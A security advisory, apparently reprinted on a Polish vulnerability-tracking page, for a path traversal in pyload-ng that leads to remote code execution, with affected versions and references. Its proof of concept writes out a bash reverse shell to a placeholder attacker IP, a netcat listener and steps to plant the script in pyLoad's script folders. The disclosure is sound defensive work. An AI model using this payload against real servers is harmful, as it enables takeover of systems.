Download to arbitrary folder can lead to RCE
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev75 | 0.5.0b3.dev75 |
Odnośniki
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
- https://nvd.nist.gov/vuln/detail/CVE-2023-47890
- https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
- https://github.com/pyload/pyload
- http://pyload.com
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-h73m-pcfw-25h2
- Wektor CVSS
CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H- Słabość (CWE)
CWE-22- Platforma
- Python (PyPI)
- Paczka
pyload-ng- Ujawniono
- 21.11.2023
- Aktualizacja
- 11.10.2026 13:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1819 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h73m-pcfw-25h2 - CC BY 4.0
Historia podatności: pyload-ng
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 58
- Pierwsza → ostatnia
- 01.2023 10.2026
- Bez poprawki
- 24
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 9
- Wysoka 23
- Średnia 25
- Niska 1
Ujawnienia w latach
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
Download to arbitrary folder can lead to RCE ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.